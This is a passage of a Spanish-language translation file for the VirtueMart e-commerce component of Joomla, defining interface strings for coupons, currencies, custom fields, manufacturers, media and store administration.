COM_VIRTUEMART_COUPON_EXPIRY_TIP="Fecha de expiración de cupón" COM_VIRTUEMART_COUPON_PERCENT="Porcentaje" COM_VIRTUEMART_COUPON_PERCENT_TOTAL="Porcentaje del total" COM_VIRTUEMART_COUPON_PERCTOT_TOOLTIP="Porcentaje del total" COM_VIRTUEMART_COUPON_S="Cupones" COM_VIRTUEMART_COUPON_START="Fecha inicio de cupón" COM_VIRTUEMART_COUPON_START_TIP="Fecha inicio de cupón" COM_VIRTUEMART_COUPON_SUBMIT_BUTTON="Enviar" COM_VIRTUEMART_COUPON_TIP="El código de cupón que el cliente debe ingresar" COM_VIRTUEMART_COUPON_TOTAL="Total" COM_VIRTUEMART_COUPON_TYPE="Tipo de cupón" COM_VIRTUEMART_COUPON_TYPE_GIFT="Cupón de regalo" COM_VIRTUEMART_COUPON_TYPE_PERMANENT="Cupón permanente" COM_VIRTUEMART_COUPON_TYPE_TIP="Un cupón de regalo se borra después de usarlo en una compra, un cupón permanente puede ser usado por el comprador las veces que desee." COM_VIRTUEMART_COUPON_VALUE_NOT_NUMBER="El valor de cupón debe ser numérico" COM_VIRTUEMART_COUPON_VALUE_TIP="Valor de cupón" COM_VIRTUEMART_COUPON_VALUE_VALID_AT="Monto mínimo de compra" COM_VIRTUEMART_COUPON_VALUE_VALID_AT_NOT_NUMBER="Valor no valido para admitir monto de compra" COM_VIRTUEMART_CREATED_ON="Fecha de cración" COM_VIRTUEMART_CREATE_ACCOUNT="Registrar" COM_VIRTUEMART_CURRENCY="Moneda" COM_VIRTUEMART_CURRENCY_CODE_2="Código 2 letras" COM_VIRTUEMART_CURRENCY_CODE_3="Código 3 letras" COM_VIRTUEMART_CURRENCY_DECIMALS="Decimales" COM_VIRTUEMART_CURRENCY_DECIMALSYMBOL="Símbolo decimal" COM_VIRTUEMART_CURRENCY_DECIMALSYMBOL_TIP="Carácter usado como símbolo decimal" COM_VIRTUEMART_CURRENCY_DECIMALS_TIP="Número de decimales mostrados (no puede ser 0)
            Hace el redondeo si el valor tiene un numero diferente de decimales" COM_VIRTUEMART_CURRENCY_DETAILS="Detalles de moneda" COM_VIRTUEMART_CURRENCY_DISPLAY="Formato de moneda" COM_VIRTUEMART_CURRENCY_DISPLAY_EXPL="Para formato positivo o negativo, usar
            • {sign} para el símbolo algebraico,
            • {number} para el valor y
            • {symbol} para la moneda
            , se permiten marcadores , con excepción del carácter | no se permitir
            por ejemplo
            "_QQ_"{sign} <b>{number}</b> {symbol}"_QQ_"
            mostrara un precio como "_QQ_"+ 42,23" COM_VIRTUEMART_CURRENCY_END_DATE="Fecha fin" COM_VIRTUEMART_CURRENCY_ERR_CODE="Debe ingresar un código para la moneda" COM_VIRTUEMART_CURRENCY_ERR_DELETE_SELECT="Por favor, seleccione la moneda a borrar." COM_VIRTUEMART_CURRENCY_EXCHANGE_RATE="Tipo de cambio" COM_VIRTUEMART_CURRENCY_FOR_VENDORS="Función prohibida para vendedores" COM_VIRTUEMART_CURRENCY_NAME="nombre de la moneda" COM_VIRTUEMART_CURRENCY_NEGATIVE_DISPLAY="Formato negativo" COM_VIRTUEMART_CURRENCY_NUMERIC_CODE="Código numérico" COM_VIRTUEMART_CURRENCY_POSITIVE_DISPLAY="Formato positivo" COM_VIRTUEMART_CURRENCY_S="Monedas" COM_VIRTUEMART_CURRENCY_START_DATE="Fecha inicio" COM_VIRTUEMART_CURRENCY_SYMBOL="Símbolo de moneda" COM_VIRTUEMART_CURRENCY_THOUSANDS="Separador millares" COM_VIRTUEMART_CURRENTLY_NOT_AVAILABLE="El producto no esta disponible" COM_VIRTUEMART_CURRENT_TRANSACTION_KEY="Clave de transacción actual" COM_VIRTUEMART_CUSTOM="Campos personalizados" COM_VIRTUEMART_CUSTOMER_RATING="Promedio de calificación de cliente" COM_VIRTUEMART_CUSTOM_ACTIVATE_JAVASCRIPT="Algunos plugins pueden contener código de java. guarde sus productos para tener control de ellos y vuelva de nuevo" COM_VIRTUEMART_CUSTOM_ADMIN_ONLY="Solo administradores" COM_VIRTUEMART_CUSTOM_BOOL="Booleano" COM_VIRTUEMART_CUSTOM_CANNOT_PARENT="¡El registro actual no puede ser el principal!" COM_VIRTUEMART_CUSTOM_CART_USER_VARIANT="Variable de carro de usuario" COM_VIRTUEMART_CUSTOM_CART_VARIANT="Variable de carro" COM_VIRTUEMART_CUSTOM_CLONED_SUCCESSFULLY="El tipo(s) personalizado(s) fue clonado exitosamente" COM_VIRTUEMART_CUSTOM_DEFAULT="Valor por omisión" COM_VIRTUEMART_CUSTOM_EDITOR="Editor" COM_VIRTUEMART_CUSTOM_EXTENSION="Plugins" COM_VIRTUEMART_CUSTOM_FIELD_DESCRIPTION="Descripción" COM_VIRTUEMART_CUSTOM_FIELD_PRICE="Precio:" COM_VIRTUEMART_CUSTOM_FIELD_TYPE="Tipo de campo personalizado" COM_VIRTUEMART_CUSTOM_ID="id personalizado" COM_VIRTUEMART_CUSTOM_IMAGE="Imagen" COM_VIRTUEMART_CUSTOM_INT="Integro" COM_VIRTUEMART_CUSTOM_IS_CART_ATTRIBUTE="Atributo de carro" COM_VIRTUEMART_CUSTOM_IS_HIDDEN="Oculto" COM_VIRTUEMART_CUSTOM_IS_LIST="¿Es una lista?" COM_VIRTUEMART_CUSTOM_LAYOUT_POS="Posición de diseño" COM_VIRTUEMART_CUSTOM_NOT_CLONED_SUCCESSFULLY="Fallo al clonar el tipo personalizado" COM_VIRTUEMART_CUSTOM_NO_CHILD_PRODUCT="No producto derivado" COM_VIRTUEMART_CUSTOM_NO_PARENT_RELATION="No relación encontrada" COM_VIRTUEMART_CUSTOM_NO_TYPES="No campos personalizados. Por favor use la lista para agregar nuevos campos" COM_VIRTUEMART_CUSTOM_PAGE_TITLE="Título de pagina Personalizado" COM_VIRTUEMART_CUSTOM_PARENT="Principal" COM_VIRTUEMART_CUSTOM_PO="Padre ordenable" COM_VIRTUEMART_CUSTOM_PRODUCT_CHILD="Producto derivado" COM_VIRTUEMART_CUSTOM_SAVE_FROM_CHILD="Sobrescribir los valores de plug-in del padre (ascendente)" COM_VIRTUEMART_CUSTOM_STRING="Cadena" COM_VIRTUEMART_CUSTOM_TEXTAREA="Area de texto" COM_VIRTUEMART_CUSTOM_TIP="Tooltip" COM_VIRTUEMART_CUSTOM_TITLE="Título" COM_VIRTUEMART_CUSTOM_WP="Visualizar padre como opción" COM_VIRTUEMART_DATE="Fecha" ; THis is not valid joomla 1.7 !!! COM_VIRTUEMART_DATE_FORMAT_LC="%A, %d %B %Y" COM_VIRTUEMART_DATE_FORMAT_LC_J16="%A, %d %B %Y" ; INPUT_J16 is used to generate date for datepicker and must be contain only m d and y with the separators COM_VIRTUEMART_DATE_FORMAT_INPUT_J16="m/d/y" ; see http://docs.jquery.com/UI/Datepicker/formatDate to find the JS format COM_VIRTUEMART_DAY="Dia" COM_VIRTUEMART_DEFAULT="Preestablecido" COM_VIRTUEMART_DEFAULT_TOP_LEVEL="Nivel superior por omisión" COM_VIRTUEMART_DEFAULT_VENDOR_CURRENCY="Moneda del vendedor por defecto" COM_VIRTUEMART_DELETE="Borrar" COM_VIRTUEMART_DELETED_X_CUSTOM_FIELD_ITEMS="%s campos personalizados de artículos borrados" COM_VIRTUEMART_DELETED_X_MEDIA_ITEMS="%s imágenes de artículos borrados" COM_VIRTUEMART_DELETES_ALL_VM_TABLES_AND_FRESH="Reiniciar tablas
            y haga instalación nueva" COM_VIRTUEMART_DELETES_ALL_VM_TABLES_AND_FRESH_CONFIRM_JS="Esto borra todas las tablas y hace una instalación nueva (no archivos) ¿Esta seguro?" COM_VIRTUEMART_DELETES_ALL_VM_TABLES_AND_SAMPLE="Reinicia las tablas
            e instale datos de ejemplo" COM_VIRTUEMART_DELETES_ALL_VM_TABLES_AND_SAMPLE_CONFIRM_JS="Esto borra todas las tablas y hace una instalación con datos de ejemplo (no archivos) ¿Esta seguro?" COM_VIRTUEMART_DELETE_GENERAL_WARNING="Advertencia" COM_VIRTUEMART_DELETE_MSG="¿Esta seguro de borrar este registro?" COM_VIRTUEMART_DELETE_RECORD="Borrar registro" COM_VIRTUEMART_DELIVERY_TIME="Usualmente envía en" COM_VIRTUEMART_DESCRIPTION="Descripción" COM_VIRTUEMART_DETAILS="Detalles" COM_VIRTUEMART_DISABLED="Desactivar" COM_VIRTUEMART_DISABLE_ITEM="Desactivar artículo" COM_VIRTUEMART_DISCOUNT="Descuento" COM_VIRTUEMART_DISCOUNT_ADDDISCOUNT_TIP="!Puede usar el formulario de descuentos para agregar descuentos en los productos!" COM_VIRTUEMART_DISCOUNT_ADDED="El descuento de producto ha sido agregado." COM_VIRTUEMART_DISCOUNT_AMOUNTTYPE="Tipo de descuento" COM_VIRTUEMART_DISCOUNT_ISPERCENT="Porcentaje" COM_VIRTUEMART_DISCOUNT_ISPERCENT_TIP="¿Debe ser un porcentaje del total?" COM_VIRTUEMART_DISCOUNT_ISTOTAL="Total" COM_VIRTUEMART_DISPLAY_END="Valor final" COM_VIRTUEMART_DISPLAY_STEP="Valor inicial" COM_VIRTUEMART_DISPLAY_STOCK="Mostrar nivel de stock" COM_VIRTUEMART_DISPLAY_STOCK_EXPLAIN="Si habilita el nivel de stock se mostrará en la categoría del producto" COM_VIRTUEMART_DOCUMENTATION="Documentación" COM_VIRTUEMART_DOWNLOADABLE="Descargable" COM_VIRTUEMART_DO_LOGIN="Necesita registrarse" COM_VIRTUEMART_EDIT="Editar" COM_VIRTUEMART_EDITSHOP="Editar" COM_VIRTUEMART_EDIT_PARENT="Editar producto principal" COM_VIRTUEMART_EDIT_REVIEW="Editar" COM_VIRTUEMART_EMAIL="Email" COM_VIRTUEMART_EMAIL_SENDTO="Una confirmación se ha enviado a" COM_VIRTUEMART_EMPTY_CATEGORY="Esta categoría esta vacía" COM_VIRTUEMART_ENABLED="Activo" COM_VIRTUEMART_ENABLE_ITEM="Activar artículo" COM_VIRTUEMART_ENCODE_INSECURE="ENCODE(inseguro)" COM_VIRTUEMART_END_DATE="Fecha fin" COM_VIRTUEMART_ENQUIRY="Investigación" COM_VIRTUEMART_ENTER_VALID_DATE="Por favor ingrese un formato de fecha valido (AAAA-MM-DD)" COM_VIRTUEMART_ENTER_VALUE_FIELD="Ingrese un valor en el campo" COM_VIRTUEMART_ERROR="Error" COM_VIRTUEMART_EXCLUDING_TAX="(excluir impuestos)" COM_VIRTUEMART_EXTENSION_UPGRADE_REMIND="Recuerde actualizar su instalación con el instalador AIO" COM_VIRTUEMART_E_IMAGES="Imágenes" COM_VIRTUEMART_E_REMOVE="Remover" COM_VIRTUEMART_FEATURED="Destacados" COM_VIRTUEMART_FEATURED_PRODUCT="Productos destacados" COM_VIRTUEMART_FEATURED_PRODUCTS_LIST_LBL="Productos destacados y con descuento" COM_VIRTUEMART_FEE="Cargo" COM_VIRTUEMART_FEED_SUBSCRIBE_TITLE="Suscribirse al feed de últimos productos." COM_VIRTUEMART_FEED_SUBSCRIBE_TOCATEGORY_TITLE="Suscribirse al feed de últimos productos en esta categoría." COM_VIRTUEMART_FIELDMANAGER_COREFIELD="Campo de usuario de ambiente Joomla" COM_VIRTUEMART_FIELDMANAGER_HIDE_ACCOUNT="Cuenta" COM_VIRTUEMART_FIELDMANAGER_HIDE_REGISTRATION="Registro" COM_VIRTUEMART_FIELDMANAGER_HIDE_SHIPPING="Comprar" COM_VIRTUEMART_FIELDMANAGER_NAME="Nombre de campo" COM_VIRTUEMART_FIELDMANAGER_REORDER="Reordenar" COM_VIRTUEMART_FIELDMANAGER_REQUIRE="Requerido" COM_VIRTUEMART_FIELDMANAGER_REQUIRED="Requerido" COM_VIRTUEMART_FIELDMANAGER_SHOW_ACCOUNT="Cuenta" COM_VIRTUEMART_FIELDMANAGER_SHOW_HIDE="Mostrar/Ocultar en:" COM_VIRTUEMART_FIELDMANAGER_SHOW_ON_ACCOUNT="Mostrar en mantenimiento de cuenta" COM_VIRTUEMART_FIELDMANAGER_SHOW_ON_REGISTRATION="Mostrar en formulario de registro" COM_VIRTUEMART_FIELDMANAGER_SHOW_ON_SHIPPING="Mostrar en formulario de envío" COM_VIRTUEMART_FIELDMANAGER_SHOW_REGISTRATION="Registro" COM_VIRTUEMART_FIELDMANAGER_SHOW_SHIPPING="Envío" COM_VIRTUEMART_FIELDMANAGER_TITLE="Título de campo" COM_VIRTUEMART_FIELDMANAGER_TYPE="Tipo de campo" COM_VIRTUEMART_FIELDMANAGER_UNREQUIRE="No requerido" COM_VIRTUEMART_FIELDS_AGEVERIFICATION="Verificación de edad (campos de selección de edad)" COM_VIRTUEMART_FIELDS_AGEVERIFICATION_ATTRIBUTES="Verificación de edad (campos de selección de edad) Atributos" COM_VIRTUEMART_FIELDS_AGEVERIFICATION_MINIMUM="Especificar edad mínima" COM_VIRTUEMART_FIELDS_CAPTCHA="Campo de Capcha(Usar com_securityimages)" COM_VIRTUEMART_FIELDS_CHECKBOX_MULTIPLE="Caja de selección (Selección múltiple)" COM_VIRTUEMART_FIELDS_CHECKBOX_SINGLE="Caja de selección (Selección única)" COM_VIRTUEMART_FIELDS_DATE="Fecha" COM_VIRTUEMART_FIELDS_DELIMITER="--- Delimitador de campo ---" COM_VIRTUEMART_FIELDS_DROPDOWN_MULTIPLE="Lista desplegable (Selección Múltiple)" COM_VIRTUEMART_FIELDS_DROPDOWN_SINGLE="Lista desplegable (Selección única)" COM_VIRTUEMART_FIELDS_EDITORAREA="Area de texto de edición" COM_VIRTUEMART_FIELDS_EMAIL="Dirección Email" COM_VIRTUEMART_FIELDS_NEWSLETTER="Subscripción al boletín" COM_VIRTUEMART_FIELDS_RADIOBUTTON="Boton radio" COM_VIRTUEMART_FIELDS_TEXTAREA="Area de texto" COM_VIRTUEMART_FIELDS_TEXTFIELD="Campo de texto" COM_VIRTUEMART_FIELDS_WEBADDRESS="Dirección WEB" COM_VIRTUEMART_FIELD_TYPE="Tipo de campo" COM_VIRTUEMART_FILES_FILE_DELETE_FAILURE="No se pudo borrar el archivo." COM_VIRTUEMART_FILES_FILE_DELETE_SUCCESS="Archivo borrado exitosamente." COM_VIRTUEMART_FILES_FULLIMG_DELETE_FAILURE="No se pudo borrar el archivo de imagen completa." COM_VIRTUEMART_FILES_FULLIMG_DELETE_SUCCESS="Archivo de imagen completa borrado" COM_VIRTUEMART_FILES_IMAGE_RESIZE_SUCCESS="El thumbnail de la imagen ha sido creado." COM_VIRTUEMART_FILES_LIST="Lista de archivos" COM_VIRTUEMART_FILES_LIST_FILENAME="Nombre de archivo" COM_VIRTUEMART_FILES_LIST_FILETITLE="Título de archivo" COM_VIRTUEMART_FILES_LIST_FILETYPE="Tipo de archivo" COM_VIRTUEMART_FILES_LIST_GO_UP="Subir" COM_VIRTUEMART_FILES_LIST_ROLE="Rotar" COM_VIRTUEMART_FILES_LIST_UP="Arriba" COM_VIRTUEMART_FILES_NOT_FOUND="Lo sentimos el archivo solicitado no se encontró" COM_VIRTUEMART_FILES_PATH_ERROR="¡Ingrese una ruta valida!" COM_VIRTUEMART_FILES_THUMBIMG_DELETE_FAILURE="No se pudo borrar el archivo Thumbnail (podría no existir)" COM_VIRTUEMART_FILES_THUMBIMG_DELETE_SUCCESS="Imagen Thumb borrada exitosamente" COM_VIRTUEMART_FILES_UPLOAD_FAILURE="Error en subida de Archivo/Imagen" COM_VIRTUEMART_FILE_DELETE_ERR="El archivo no pudo ser borrado %s" COM_VIRTUEMART_FILE_DELETE_OK="Archivo borrado" COM_VIRTUEMART_FILE_SAVED_SUCCESS="Archivo guardado exitosamente" COM_VIRTUEMART_FILE_UPLOAD_OK="Archivos %s subidos" COM_VIRTUEMART_FILTER="Filtro" COM_VIRTUEMART_FILTER_BY="Filtrado por" COM_VIRTUEMART_FOLDER_NOT_EXIST="La carpeta %s no existe. Puede crearla y poner sus imágenes dentro." COM_VIRTUEMART_FORM_EDIT=": [ Editar ]" COM_VIRTUEMART_FORM_GENERAL="Información general" COM_VIRTUEMART_FORM_NEW=": [ Nuevo ]" COM_VIRTUEMART_FOR_SALE="Archivo a la venta" COM_VIRTUEMART_FOR_VIEW_WITH_PRESELECTED_MANUFACTURER="para una vista con el fabricante seleccionado" COM_VIRTUEMART_FREE_SHIPPING_AMOUNT="Monto mínimo de envío gratis" COM_VIRTUEMART_FREE_SHIPPING_AMOUNT_TIP="El monto (impuestos incluidos) que es el mínimo para envío gratis (ejemplo: 50 significa que el envío es gratis si el cliente compra al menos $50 (impuestos incluidos) o mas." COM_VIRTUEMART_FREE_SHIPPING_CART="Envío gratis en este pedido" COM_VIRTUEMART_GENERALLY_PREVENT_HTTPS="¿Prevenir conexiones Https?" COM_VIRTUEMART_GENERALLY_PREVENT_HTTPS_TIP="Si seleccionado, el comprador es redirigido a la http URL cuando no esta en las áreas de la tienda que nececiten https." COM_VIRTUEMART_GO="Ir" COM_VIRTUEMART_GROUP_NAME="Nombre de permisos de grupo" COM_VIRTUEMART_HELP="Ayuda" COM_VIRTUEMART_HELP_ABOUT="VirtueMart es una aplicación completamente Open Source E-Commerce para Joomla!. La aplicación viene con un componente, mas de 8 módulos y Mambots/Plugins. Tiene sus origenes en un carro de compras llamado 'phpShop' (Authors: Edikon Corp. & the phpShop comunidad)." COM_VIRTUEMART_HELP_DONATION_BUTTON_ALT="Has tus pagos con paypal, es rapido, seguro y gratuito." COM_VIRTUEMART_HELP_DONATION_DESC="Por favor, considera hacer una pequeña donación al proyecto VirtueMart y ayúdanos a seguir con el trabajo del componente y crear nuevas características." COM_VIRTUEMART_HELP_HOMEPAGE="Pagina de inicio" COM_VIRTUEMART_HELP_LICENSE_DESC="VirtueMart esta licenciado bajo los derechos de {licensename} Licencia." COM_VIRTUEMART_HELP_PROJECTLEADER="Lider de proyecto" COM_VIRTUEMART_HELP_TEAM="Hay un pequeño equipo de desarrolladores que ayudan en el desarrollo del carro de compras" COM_VIRTUEMART_HELP_TOPICS="Temas de ayuda" COM_VIRTUEMART_HELP_YOURVERSION="La versión {product} del sistema" COM_VIRTUEMART_HI="Hola," COM_VIRTUEMART_HIDE_OUT_OF_STOCK="Esconder productos fuera de existencia" COM_VIRTUEMART_ID="Id" COM_VIRTUEMART_IMAGE="Imagen" COM_VIRTUEMART_IMAGES="Imagenes" COM_VIRTUEMART_INCLUDING_TAX="(incluye $tax % impuesto)" COM_VIRTUEMART_INFO_MSG_VAT_ZERO_LBL="0 (-ninguno-)" COM_VIRTUEMART_INSTALLATION_PLZ_RENEW_CONFIG="Por favor use renovar configuración desde archivo En herramientas => Actualización.s/Migración" COM_VIRTUEMART_INSTALLATION_SUCCESSFUL="La instalación fue EXITOSA" COM_VIRTUEMART_INSTALLATION_WELCOME="Bienvenido a VirtueMart
            La completa solución de e-Commerce para Joomla" COM_VIRTUEMART_INSTALL_DONATION="Por favor considera una pequeña donación para ayudarnos a seguir con el componente" COM_VIRTUEMART_INSTALL_FURTHER_HELP="Ir a VirtueMart para mas ayuda" COM_VIRTUEMART_INSTALL_GO_SHOP="Ir a la tienda" COM_VIRTUEMART_INSTALL_SAMPLE_DATA="Instalar datos de ejemplo" COM_VIRTUEMART_INTNOTES="Notas internas del producto" COM_VIRTUEMART_INVOICE="Factura" COM_VIRTUEMART_INVOICE_CREATE="Crear factura" COM_VIRTUEMART_INVOICE_DATE="Fecha de factura" COM_VIRTUEMART_INVOICE_NUMBER_RESERVED="Número de Factura Reservada por el Pago." COM_VIRTUEMART_INVOICE_PRINT="Imprimir Factura" COM_VIRTUEMART_ITEM="Artículo" COM_VIRTUEMART_ITEMS_MOVED="Ordeno un total de %s artículos" COM_VIRTUEMART_ITEMS_NOT_MOVED="Artículo ordenado correctamente" COM_VIRTUEMART_ITEM_MOVED_DOWN="Item desplazado hacia abajo" COM_VIRTUEMART_ITEM_MOVED_UP="Item desplazado hacia arriba" COM_VIRTUEMART_ITEM_NEXT="proximo" COM_VIRTUEMART_ITEM_PREVIOUS="previo" COM_VIRTUEMART_I_AGREE_TO_TOS="Acepto los términos del servicio" COM_VIRTUEMART_JPLUGINWARNING="Por favor configure métodos de envío o pago dentro del componente VirtueMart " ; JAVASCRIPT Declaration, respect the Json format use this fromat "key: 'value',..." DO NOT EDIT /change KEY COM_VIRTUEMART_JS_STRINGS=" editImage: 'editar imagen',select_all_text: 'seleccionar todas las opciones',select_some_options_text :'Seleccionar algunas opciones', select_an_option_text:'Seleccione una opción'" COM_VIRTUEMART_LANG_IS_EMPTY="(%1$s) no tiene traducción in %2$s,Rellene los campos marcados" COM_VIRTUEMART_LAST_UPDATED="Ultima actualización" COM_VIRTUEMART_LATEST="Ultimos productos" COM_VIRTUEMART_LATEST_PRODUCT="Ultimos productos" COM_VIRTUEMART_LEGALINFO_SHORTTEXT="
            Política de devolución
            Puede cancelar su pedido en un plazo de dos semanas después de haber recibido el producto. Puede devolver artículos nuevos y sin abrir dentro de ese plazo. Los artículos debeb ser devueltos en su empaque original. Para mas información sobre la cancelación de pedidos y devolución de productos, vea nuestra Poliza de devoluciónes page." COM_VIRTUEMART_LIST="Lista" COM_VIRTUEMART_LISTREVIEWS="Listar comentarios" COM_VIRTUEMART_LIST_ALL_PRODUCTS="Listar todos los productos" COM_VIRTUEMART_LIST_CHILDREN_FROM_PARENT="Listar todos los %s derivados" COM_VIRTUEMART_LIST_EMPTY_OPTION="Por favor seleccione" COM_VIRTUEMART_LIST_LIMIT="máximo de productos por pantalla en el frontend" COM_VIRTUEMART_LIST_LIMIT_EXPLAIN="La paginación estándar limite para las pantallas del frontend" COM_VIRTUEMART_LIST_ORDER="Orden de lista" COM_VIRTUEMART_LOST_PASSWORD="¿Perdio contraseña?" COM_VIRTUEMART_LOW_STOCK_NOTIFICATION="Notificación de nivel bajo de existencias" COM_VIRTUEMART_LOW_STOCK_NOTIFICATION_EMAIL_MESSAGE="Que solo {product_in_stock} existencias para el producto {product_name} (SKU {product_sku})." COM_VIRTUEMART_LOW_STOCK_NOTIFICATION_EMAIL_SUBJECT="Nivel bajo de existencias alcanzados en %s" COM_VIRTUEMART_LWH_UNIT_DEFAULT="Unidad dimensión por defecto" COM_VIRTUEMART_LWH_UNIT_DEFAULT_EXPLAIN="Establece la unidad por omisión de la tienda" COM_VIRTUEMART_MAIL_SUBJ_SHOPPER_C="[%3$s], Pedido Confirmado en %1$s, total %2$s" COM_VIRTUEMART_MAIL_SUBJ_SHOPPER_P="[%3$s], Pedido pendiente en %1$s, total %2$s" COM_VIRTUEMART_MAIL_SUBJ_SHOPPER_R="[%3$s], Devolución por %1$s, total %2$s" COM_VIRTUEMART_MAIL_SUBJ_SHOPPER_S="[%3$s], Pedido enviado desde %1$s, total %2$s" COM_VIRTUEMART_MAIL_SUBJ_SHOPPER_U="[%3$s], pedido confirmado por %1$s, total %2$s" COM_VIRTUEMART_MAIL_SUBJ_SHOPPER_X="[%3$s], Pedido cancelado por %1$s, total %2$s" COM_VIRTUEMART_MANAGE_USER_FIELDS="Campo de lista de comprador" COM_VIRTUEMART_MANUFACTURER="Fabricante" COM_VIRTUEMART_MANUFACTURERCATEGORIES="Categoría de fabricante" COM_VIRTUEMART_MANUFACTURER_CATEGORY="Categoría de fabricante" COM_VIRTUEMART_MANUFACTURER_CATEGORY_DESCRIPTION="Descripción de categoría de fabricante" COM_VIRTUEMART_MANUFACTURER_CATEGORY_DETAILS="Detalles de categoría de fabricante" COM_VIRTUEMART_MANUFACTURER_CATEGORY_LIST="Lista" COM_VIRTUEMART_MANUFACTURER_CATEGORY_NAME="Nombre de categoría de fabricante" COM_VIRTUEMART_MANUFACTURER_CATEGORY_S="Categorías de fabricante" COM_VIRTUEMART_MANUFACTURER_CAT_FORM_INFO_LBL="Información de categoría" COM_VIRTUEMART_MANUFACTURER_CAT_FORM_LBL="Formulario de categoría de fabricante" COM_VIRTUEMART_MANUFACTURER_CAT_FORM_NAME="Nombre de categoría" COM_VIRTUEMART_MANUFACTURER_CAT_LIST_LBL="Lista de categorías de fabricante" COM_VIRTUEMART_MANUFACTURER_CAT_MANUFACTURERS="Fabricantes" COM_VIRTUEMART_MANUFACTURER_CAT_NAME="Nombre de categoría" COM_VIRTUEMART_MANUFACTURER_DESCRIPTION="Descripción" COM_VIRTUEMART_MANUFACTURER_DETAILS="Detalles de fabricante" COM_VIRTUEMART_MANUFACTURER_EMAIL="Email de fabricante" COM_VIRTUEMART_MANUFACTURER_FIELD_SELECT="Selecciona un fabricante" COM_VIRTUEMART_MANUFACTURER_FIELD_SELECT_DESC="Crea un enlace para mostrar el fabricante seleccionado" COM_VIRTUEMART_MANUFACTURER_FIELD_SELECT_TITLE="Seleccione un fabricante" COM_VIRTUEMART_MANUFACTURER_FIELD_SELECT_TITLE_DESC="Crea un enlace al fabricante" COM_VIRTUEMART_MANUFACTURER_FORM_INFO_LBL="Información del fabricante" COM_VIRTUEMART_MANUFACTURER_IMAGE="Imagen del fabricante" COM_VIRTUEMART_MANUFACTURER_LIST_ADMIN="Administrador" COM_VIRTUEMART_MANUFACTURER_MOD="Fabricantes" COM_VIRTUEMART_MANUFACTURER_NAME="Nombre del fabricante" COM_VIRTUEMART_MANUFACTURER_S="Fabricantes" COM_VIRTUEMART_MANUFACTURER_SHOW="Mostrar fabricantes en la categoría" COM_VIRTUEMART_MANUFACTURER_URL="URL del fabricante" COM_VIRTUEMART_MANUFACTURER_URL_TIP="URL del fabricante tiene que comenzar por http://" COM_VIRTUEMART_MANUFACTURER_VIEW_DEFAULT_DESC="Muestra un solo fabricante" COM_VIRTUEMART_MANUFACTURER_VIEW_DEFAULT_TITLE="Muestra el layout de fabricante" COM_VIRTUEMART_MANUFACTURER_VIEW_DETAILS_DESC="Muestra el layout de detalles del fabricante" COM_VIRTUEMART_MANUFACTURER_VIEW_DETAILS_TITLE="Layout de detalles del fabricante" COM_VIRTUEMART_MEDIA="Archivo de media" COM_VIRTUEMART_MEDIA_CHOOSE_TYPE="Elige el tipo de medios para medios de comunicación con nombre de fichero %1$s" COM_VIRTUEMART_MEDIA_MANAGER="Administrador de archivos (media)" COM_VIRTUEMART_MEDIA_MUST_HAVE_TITLE="Archivos deben tener un titulo" COM_VIRTUEMART_MEDIA_MUST_HAVE_URL="Archivos deben tener una URL" COM_VIRTUEMART_MEDIA_NO_PATH_TYPE="Media of type %1$s has no relative URL set, Please configure it first and come back here." COM_VIRTUEMART_MEDIA_S="Archivos media" COM_VIRTUEMART_MEDIA_SHOULD_HAVE_MIMETYPE="Los archivos de media deben tener un tipo mime" COM_VIRTUEMART_MEDIA_SHOULD_NOT_BMP="Los archvos BMP no son buena elección para internet" COM_VIRTUEMART_MENU="Menu" COM_VIRTUEMART_MESSAGE_PROMPT="Ingrese su mensaje" COM_VIRTUEMART_METAAUTHOR="Autor" COM_VIRTUEMART_METADESC="Meta descripción del producto" COM_VIRTUEMART_METAKEY="Meta clave de producto" COM_VIRTUEMART_METAROBOT="Meta robots de producto" COM_VIRTUEMART_META_AUTHOR="Autor" COM_VIRTUEMART_META_DESC="Meta descripción" COM_VIRTUEMART_META_INFORMATION="Meta información" COM_VIRTUEMART_META_KEYWORDS="Meta Palabras clave" COM_VIRTUEMART_META_ROBOTS="Meta robots" COM_VIRTUEMART_MF_CATEGORY_NAME="nombre de la categoría de fabricante" COM_VIRTUEMART_MF_NAME="Nombre de Fabricante" COM_VIRTUEMART_MIGRATE="Comenzar migración" COM_VIRTUEMART_MIGRATION_DCAT_BROWSE="Layout por defecto de la categoría (browse page) sin .php" COM_VIRTUEMART_MIGRATION_DCAT_FLY="Layout por defecto del producto (fly page) sin .php" COM_VIRTUEMART_MIGRATION_REWRITE_ORDER_NUMBER="Reescrie los numeros de pedido" COM_VIRTUEMART_MIGRATION_STOREOWNERID="Escriba aquí el nuevo id de dueño" COM_VIRTUEMART_MIGRATION_TAB="Migración" COM_VIRTUEMART_MIGRATION_UPDATE="Actualización.Migración" COM_VIRTUEMART_MIGRATION_USER_ORDER_ID ="Usar el Id de pedido VM1 para Id de pedido VM2" COM_VIRTUEMART_MINICART_ADDED="agregado a carro" COM_VIRTUEMART_MINICART_DESC="Muestra el mini carro virtuemart" COM_VIRTUEMART_MINICART_ERROR="Error en mini carro" COM_VIRTUEMART_MODIFIED_ON="Fecha de modificación de producto" COM_VIRTUEMART_MODULES_FORCE_HTTPS="Areas de la tienda para usar https" COM_VIRTUEMART_MODULES_FORCE_HTTPS_TIP="Puedes usar una lista separada por comas de módulos centrales (Ver 'Admin' ='> 'List Modules'),que usaran conecciones https." COM_VIRTUEMART_MODULE_ADDED="El modulo ha sido agregado" COM_VIRTUEMART_MODULE_NAME="Nombre" COM_VIRTUEMART_MONTH="Mes" COM_VIRTUEMART_MONTH_S="Meses" COM_VIRTUEMART_MORE="Mas…" COM_VIRTUEMART_MORE_CATEGORIES="mas categorías" COM_VIRTUEMART_MORE_IMAGES="Ver mas imágenes" COM_VIRTUEMART_MOVE_DOWN="Mover abajo" COM_VIRTUEMART_MOVE_UP="Mover arriba" COM_VIRTUEMART_MULTISELECT="Multiselección" COM_VIRTUEMART_NAME="Nombre" COM_VIRTUEMART_NAME_OF_USERFIELD_CONTAINS_INVALID_CHARACTERS="El nombre del campo de usuario contiene carácter es inválidos" COM_VIRTUEMART_NEVER="-Nunca-" COM_VIRTUEMART_NEW_ITEMS_PLACE="Nuevos artículos en el ultimo lugar. El orden puede ser cambiado después de guardar el artículo." COM_VIRTUEMART_NEW_ORDERING_SAVED="Nuevo orden guardado" COM_VIRTUEMART_NEW_USER_MESSAGE="Hola %s, un nuevo usuario se a registrado en %." COM_VIRTUEMART_NEW_USER_MESSAGE_SUBJECT="Detalles de nuevo usuario" COM_VIRTUEMART_NEW_USER_MESSAGE_VENDOR_SUBJECT="Un nuevo usuario %s$s registrado en la tienda" 